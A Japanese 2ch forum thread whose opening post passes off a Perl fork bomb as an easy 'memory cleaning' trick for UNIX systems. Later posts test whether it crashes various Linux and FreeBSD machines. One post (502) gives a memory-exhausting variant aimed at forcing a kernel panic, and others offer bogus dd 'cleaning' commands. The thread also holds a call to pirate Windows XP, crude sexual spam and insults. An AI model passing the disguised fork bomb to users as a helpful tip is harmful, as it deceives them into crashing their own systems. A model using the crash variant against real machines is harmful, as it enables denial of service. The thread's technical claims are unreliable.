簡単!メモリクリーニング

1名無しさん@お腹いっぱい。
垢版 |
NGNG
UNIX系技術者にとってはほぼ常識ですが、簡単にUNIX系OSの
メモリを簡単にクリーニングできます。やり方は、コマンドラインで、

$ perl -e 'while (1) { fork; }'

とタイプするだけです。
これでディスクキャッシュになっていたメモリが解放されて、
若干処理が軽くなります。Webサーバ等では数%レスポンスが
よくなります。GUIを使っている場合では体感的に早くなったと
わかるでしょう。
NGNG
ぱんつ(キミ)を見つけたこの渚に
ひとりたたずみ思い出す
小麦いろしたかわいいシミ
忘れはしないいつまでも
港逃げるぱんつ盗んで
黒い透けパンレースなびかせ
股にあてがいしごいてみても
もう立ち上がらない
ぼくのちんちん

股にあてがいしごいてみても
もう立ち上がらない
ぼくのちんちん
NGNG
>>431
死ね気違い
437名無しさん@お腹いっぱい。
垢版 |
NGNG
8243931931
438名無しさん@お腹いっぱい。
垢版 |
NGNG
ぱんつのしみくさいくさい
NGNG
うちのパンツしりませんか?
NGNG
>>436
>>437
板違い
441名無しさん@お腹いっぱい。
垢版 |
NGNG
パンツを切り刻んでる姿を想像してボッキした香具師挙手
NGNG
マゾっけのある変態がいるスレはここですか?
443名無しさん@お腹いっぱい。
垢版 |
NGNG
サドっけがあります
444名無しさん@お腹いっぱい。
垢版 |
NGNG
佐渡それは悲しい佐賀
445名無しさん@お腹いっぱい。
垢版 |
NGNG
>>439
僕の右手知りませんか?
446名無しさん@お腹いっぱい。
垢版 |
NGNG
神の左手悪魔の右手
NGNG
>>445
行方不明になったのか?
NGNG
ミギーか手っちゃんなんだろ、>>445の右手は。
NGNG
(゜o゜ ) ………
NGNG
( ゚д゚)ポカーン
451名無しさん@お腹いっぱい。
垢版 |
NGNG
( ゚д゚)カポーン
452名無しさん@お腹いっぱい。
垢版 |
NGNG
男でもパンツは切り刻んでから捨てろ。
変態ホモにハァハァされてるかもしれないぞ。
453ホモ
垢版 |
NGNG
>>452
むしろ光栄だな
454名無しさん@お腹いっぱい。
垢版 |
NGNG
ホモはホモサピエンスの略である。
NGNG
ホモはホモ牛乳の略である。
456名無しさん@お腹いっぱい。
垢版 |
NGNG
ユニックスにメモリクリーニングなど必要ない!!




ーーーーーーー糸冬了ーーーーーーー
NGNG
>>456
生産ラインにつないでいるユニックスマシンのメモリを
定期的に掃除機でクリーニングしていますが、何か。。。
458名無しさん@お腹いっぱい。
垢版 |
NGNG
ついでに石鹸水でジャブジャブ洗っとけ
NGNG
>>457
もれはメモリーだけではなくCPUクーラーも掃除するなぁ。
あとはファン周りとかM/Bとかケースの底にたまったほこりとか。
460名無しさん@お腹いっぱい。
垢版 |
NGNG
( ゚д゚)ポカーン
461名無しさん@お腹いっぱい。
垢版 |
NGNG
クリーニングしない椰子はPCから発火して焼け氏ね。
NGNG
ddでディスククリーニングしちゃった香具師はいますか
NGNG
クリーニングディスクにクリーニング液を数滴(湿式)
ドライブにいれたあと
dd if=/dev/fd0 of=/dev/null bs=512 count=200
464名無しさん@お腹いっぱい。
垢版 |
NGNG
>>463
> クリーニングディスクにクリーニング液を数滴(湿式)
> ドライブにいれたあと
> dd if=/dev/fd0 of=/dev/null bs=512 count=200

間違い。 Linux の場合、下記が正しい。
ディスクアクセスが速くなった気がする。
dd if=/dev/hda of=/dev/zero bs=1024 count=10000
NGNG
>>464
この板でそのOSの名前出すと
変なのがよりあつまってきますよ
NGNG
>>465
「間違い」と言っている時点で喧嘩を売ってるから望むところなんじゃないか?
ここは犬板でないのに犬以外のOSについて書くと間違っているといわんばかりだしな。

Linux(kernel 2.4.20で確認)にも/dev/fd0や/dev/nullがあるのに
そういうこと書いているということは釣死だろうから
こういうことを書いてほしいがためにやってるんだろうが。
NGNG
あんたが正解。
最近のUNIX版はレベルが低下してて盛り上がりに
欠けるからわざとああいうふうに書きました。
適当なこと書いてごめんよ。
468名無しさん@お腹いっぱい。
垢版 |
NGNG
ドル箱を積みましょう。
469名無しさん@お腹いっぱい。
垢版 |
NGNG
ジャンジャンバリバリ
470名無しさん@お腹いっぱい。
垢版 |
NGNG
あの・・・
Windowsって何ですか?
そんな古臭いOSなんてもう使えませんよ。

ま、ともかく
*WindowsXPプリインストールPCを買う奴:気違い
*WindowsXPを買う奴:世界の経済を狂わせる奴
*WindowsXPをMXとかからダウンロードする奴:世界経済を安定化させる勇者

どうしても、WindowsXPを使いたければ、ダウンロードして、購入資金を
赤十字に寄付しましょう。

それでなければ、OpenBSDでもインストール汁

471名無しさん@お腹いっぱい。
垢版 |
NGNG
M$に嫉妬するなよ。
NGNG
釣れた釣れた
NGNG
OpenBSDって近頃やっとELFに移行した時代遅れさんでしょ?
NGNG
>>470
独り言はhttp://etc.2ch.net/hikky/でやってくれ。

>>473
昔のFreeBSDもそうだけれどaoutでダイナミックリンクを実現する仕組みが
あったためにELFに移行する必要性がさほど無かったのではないかな。
んま、ELFになったほうがいろいろと便利なことはあるけど。
NGNG
>>474
煽りに親切すぎ
でも勉強になった
476名無しさん@お腹いっぱい。
垢版 |
NGNG
リナックス氏ね
NGNG
だから、そのスクリプトを入力をすれば氏ぬってば
NGNG
死なないんですけど
NGNG
$ perl -e 'while (1) { fork; }'
で、氏なないってのかい?
NGNG
死なないな
つか、frokしただけで死ぬかよ
NGNG
>>479
スレをよく嫁
ガイシュツすぎてつまらん新しいネタもってこいやヴォケ
NGNG
>>479
15分くらい放置してみた
数えたわけじゃないけど、15分もあれば相当な数の無駄プロセスが生成されてるが
既存のプロセスは何の問題もなく動いてる
新しいプロセスも生成できた
perlの親プロセス殺したら即座に無駄プロセス全部消えた

これでほんとに死ぬのかよ
うちは死ぬ気配どころか、何の悪影響も及ぼしてないんだが
NGNG
犬のことはよく知らんけど、一つの親から作れる子プロセス数に制限があるのかな?
uname -aしてkernelのバージョンいくつか教えて。
NGNG
>>483
Linux Murder 2.6.0-test9-mm5
最大のプロセス数は、kernelのヘッダの中のどれかに書いてあると思ったが
数万個だったと思う。たぶん65535個?
2.4.20-ck6でも検証したけど同じく死なないよ。

たぶんこれで死ぬとしたらプロセスの生成にハードの性能が追いつかない
メモリが足りない、CPUがトロいなんかの理由で固まるんでないの?
NGNG
いや、プロセステーブルを使い切って死ぬという話だったと思うよ。
ちなみに実行したのは一般ユーザー?root?
過去のレスには一般ユーザーなら平気だけれどrootでやると固まるという報告があるね。

何の影響もないということだけれど、一瞬すごく動作がとろくなるということもないの?
NGNG
>>485
rootも一般ユーザも試したよ。
動作がトロくはなってないなぁ。
どれくらい変るもんなのかってのが疑問だが、体感する程遅いようなことはなかった。
放置した15分間はfirebirdで/.Jにコメントつけたり
2chで他のスレ見たりしてたけど、遅くなった感じはない。
firebirdは、無限forkを始めてから起動させた。
forkする様子をみるためにtop起動させて監視してたら
firebirdの起動スクリプトが一瞬でて、またすぐperl埋めつくされ
また一瞬firebirdのスレッドが表示されたと思ったら
またもやperlに埋めつくされた。

その後rootで無限forkさせたときは、mikmodでmodきいてた。
音が途切れることもなかったし、途中で始めたdilloのmakeも滞りなく終ったよ。

その後2.4.20-ck6で検証したんだけど、それは別マシン。
そっちはファイル倉庫にしてあるやつで、httpとsshがdeamonとして常駐してる。
20分近く放置してあったけど特に問題はないな。
外部の公開してるわけじゃないので、セキュリティ対策はほとんどしてない。
こっちは一般ユーザで検証するのが面倒なので、rootでのみ検証した。

どっちのマシンもCPUとメモリはほぼ同じ
2.6がノートで、2.4のほうはデスクトップ
ノートはPentium3 500Mhz Memory 256MB(オンボードメモリは無し)
デスクトップの方はCPUは同じ(だけどデスクトップ用のPentium3)、そしてノートより若干メモリが多い(オンボード + 256MB)

ディストリはどちらもGentoo Linux。
ノートの方はマメにアップデートしてるので
Gentoo 1.4で~x86(unstable)な環境。
デスクトップの方はほとんどイジってないので
Gentoo 1.4-rc4のままだったかな。
NGNG
debianは氏んだ
NGNG
単にforkするよりも大量にスレッド生成するプロセスをforkしまくって
猶且 大量のメモリ確保したらどうだろうか
スレッドの生成とメモリ確保のコストの高さを利用して落すという単純な発想だが
CPUとメモリに余裕のある業務用の高級鯖マシンでもなければ
大概のOSがコロっといくと思うんだが
わざわざそんなの書くのもマンドクサイのでsage
#少なくとも1CPUでメモリが256、512程度だとまずどのOSも耐えられないと思う
NGNG
>>487
氏ななかったよ。

% uname -r
2.6.0-test10
490名無しさん@お腹いっぱい。
垢版 |
NGNG
ち……………ちんこ!
491名無しさん@お腹いっぱい。
垢版 |
NGNG
まんこ!
492名無しさん@お腹いっぱい。
垢版 |
NGNG
なんじゃこりゃあああああああああああああああああああああ
かたまった!!!!!!!!!!!!!!!!!!!!!!!!
493名無しさん@お腹いっぱい。
垢版 |
NGNG
>>492が勃起したらしいです
494名無しさん@お腹いっぱい。
垢版 |
NGNG
つーことで
そろそろまとめろや
os ver user root
でいいから書きやがれ
NGNG
プロセス無限増殖で落ちるのはWinとDOSくらいでしょ
NGNG
RedHat9 kernel2.4.20 user落ちない root落ちる (userでも落とせなくはない)
NGNG
Debian woody kernel 2.4.23 user 落ちない root 落ちない
Debian woody kernel 2.4.20-ck7 user 落ちない root 落ちない
Gentoo 1.4(~x86) kernel 2.6.0-test11 user 落ちない root 落ちない
Gentoo 1.4(x86) gentoo-sources-2.4.20-r8 user 落ちない root 落ちない

番外
FreeBSD 4.8R user 落ちない root 落ちない
NGNG
>プロセス無限増殖で落ちるのはWinとDOSくらいでしょ

DOS???
499_
垢版 |
NGNG
>>398
Appollo Domain の Aegisには ACLはいってましたが?
つーか、それだって最初じゃないよなぁ。

古れすすまんのぉ。
500_
垢版 |
NGNG
>>488
確保しても書き込みとかしてpage-inさせないとMapされておしまいだし、
読み出してもどうせ同一ページ参照されるだけでメモリは消費されない。
Process/Thread 大量につくってもTextは同一ページだから同じ。
ProcessTable消費されるだけ。

vmのいじめ方しらない香具師おおいな。
NGNG
知ってる人キタ━ヾ(   )ノ゛ヾ( ゚д)ノ゛ヾ(゚д゚)ノ゛ヾ(д゚ )ノ゛ヾ(  )ノ゛━━!!

じゃあ、そのイジメかたとやらを書いてみてはいかが?
502_
垢版 |
NGNG
userland で簡単なのは実際にメモリを使えばいいわけだから
perl -e 'while(1){local($time)=time; fork;}'
かな? とりあえず使い切るまでメモリつかってくれるはず。

途中で新プロセスがメモリ使えなくなってkillされるけど、懲りずに
つづけてれば既存processやdaemon processで新規ページがとれずに
そっちがkillされはじめるよ。

limitでプロセス制限かかってるなら、消費するメモリサイズを大きめに
とること。逆にいうと、管理者はdatasizeとmaxprocを適切に管理する事。
503_
垢版 |
NGNG
また、古い(いまも残ってる)system だと datasizeはexecとmmap時にしか
参照しないんで、datasizeよりちょい少なめでmallocかけると実際にメモリ
(Swap込み)が足りなくても allocateは成功する。

で、古いvm(mach64 vmベースでいまも残ってるかも)だと page 使い切った
時点で panic するから、これやるとかたまるどころかkernel panicまで
もちこめるよ。

ためしてみそ。
NGNG
ためしてみそといわれても、さすがに古いシステムさがすの大変なんだが
505名無しさん@お腹いっぱい。
垢版 |
NGNG
リナックスは落ちる糞OS!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
506名無しさん@お腹いっぱい。
垢版 |
NGNG
ウィンドウズは何もしなくても落ちる糞OS!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
507名無しさん@お腹いっぱい。
垢版 |
NGNG
メモリの掃除ぐらいしろ
NGNG
ぼくの部屋も掃除が必要です。
509名無しさん@お腹いっぱい。
垢版 |
NGNG
害虫駆除業者が必要です。
510名無しさん@お腹いっぱい。
垢版 |
NGNG
リナックスはうんこ
そろそろ認めろよ
NGNG
じゃ、なにが、もすすめだね?
512名無しさん@お腹いっぱい。
垢版 |
NGNG
Windows
NGNG
>>512
せめてLinux以上の物を言ってくれ
NGNG
ソラリスは?
NGNG
LinuxがいつWindows以上になったんだ?
NGNG
>>515
激しく同意。
NGNG
>>515
そういう事は、MSがマトモなOS作ってから言いましょうね。
Windowsと比較するのは、他のOSにとって失礼に値しますよ。
Winマンセーなら窓板だけでやっててください。
518名無しさん@お腹いっぱい。
垢版 |
NGNG
いや、そもそもWindowsに安定性求めるなんて筋違いもいいところだよ
むしろWindowsにそんな求める連中は死んでくれ。
売れたもんが正義なんだよ。
NGNG
ぶっちゃけ負荷耐性と安定性はWindowsは今のところ最低レベル。
他のOSが特別凄いんじゃなくて、Windowsが異常にダメ。
スケーラビリティも最悪、そもそもOSレベルで要求するスペックが高すぎてお話にならない。
どんなに資源増やしてもあっという間に食いつくしてしまう点も最悪

犬叩きしたいなら、せめてFreeBSDか商用Unixとの比較じゃないと無理。

それに何も負荷耐性だの安定性だので勝負しなくても、WindowsはGUI周りのパフォーマンスは今のところ一番高いし、UIはそこそこ扱い易いし
クライアント用OSとしてはデファクトスタンダードだし
とくに引け目を感じる事はないと思うけどね。
個人で使う分にはスケーラビリティも安定性も負荷耐性も特に気にする必要ないし
高負荷になって落ちても、気にせず再起動すればいいんだし
不正終了してファイル壊れたって気にしないでフォーマットして再インスコしちゃえばいいんだしさ。
脆弱性の事だって、こんだけセキュリティについて騒がれてるのに
そんな事は一切気にせず穴だらけのままWindows updateしない人だっているんだから
Windowsユーザー内に限っては脆弱性なんて殆ど問題視されてないともいえる。
だから穴だらけでも全然OKなんだから気にする事はない。
ただ周りが迷惑するだけなんだから、MSを見習って細かい事は気にせず周りに迷惑かかっても知ったこっちゃねーよくらいの勢いのほうがいい。
NGNG
>個人で使う分にはスケーラビリティも安定性も負荷耐性も特に気にする必要ないし
何よりM$が気にしていない罠
NGNG
>個人で使う分にはスケーラビリティも安定性も負荷耐性も特に気にする必要ないし
>高負荷になって落ちても、気にせず再起動すればいいんだし
その感覚を最大限に刷り込まれた馬鹿どもが、サービス機材を安易に
リセットしたがるようになったのは最低に痛いよ。
原因探れないから予防策もとれねー。
NGNG
>>521
そういうのはMSがいる限りどうしようもないと思ってあきらめれ
NGNG
>>521
まあ、Windows 95,98のころに「Windows おかしくなったら 再起動」という習慣がついていた人は多いだろうからね。
実際、当時は24時間連続稼動するのはほとんど行われていなかったと思うし。

余談だけれどPCでUnixもどきOSを動かすのが普及したからか、
教育用UnixマシンをX端末から使っている学生が
「家のLinuxでログアウトするときはshutdown -h nowって打ってるんですけど、ここのは打っても変なメッセージが出てきてログアウトできないんですけど」
と言ったのには驚いた。
shutdownのコマンドの意味について小一時間ほどお説教したのは言うまでもないことだが。
NGNG
>まあ、Windows 95,98のころに「Windows おかしくなったら 再起動」という習慣がついていた人は多いだろうからね。
つーか、今も昔もそれは常識。

おかしくなったら再起動
壊れたかなと思ったら再インスコ

一番手っ取り早くて、確実
誰も迷わないし、下手に苦労するよりも解決は早い
マメにバックアップとっておけばデータの復旧も楽。

ユーザーに手段を与えず、作業を単一化してしまうことで
無駄な問題の発生を抑えてる。
525名無しさん@お腹いっぱい。
垢版 |
NGNG
LINUXは落ちまくり!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
NGNG
必死だな
NGNG
Mac OSXも糞重くなったけど落ちませんね。
528名無しさん@お腹いっぱい。
垢版 |
NGNG
LINUXはゴミ!
NGNG
お受験のお子さんのお守りにMac OS X、
片思いのお子さんのお守りにLinuxいかがですか。
今ならどちらもお求め安くなっていますよ。
NGNG
32bit藁人形 = Windows
16bit藁人形 = DOS
531名無しさん@お腹いっぱい。
垢版 |
NGNG
>>1
自分のPCでは一日一回実行してる。
532名無しさん@お腹いっぱい。
垢版 |
NGNG
嘘つきぃ…
533名無しさん@お腹いっぱい。
垢版 |
NGNG
リナックスはょわぃ
NGNG
Windowsは直ってないバグの数とセキュリティホール,そして一年間の再起動の回数で最強
どれも最多
NGNG
「Windowsは」ってひとくくりにできるDQNなセンスに乾杯
レスを投稿する

5ちゃんねるの広告が気に入らない場合は、こちらをクリックしてください。

ニューススポーツなんでも実況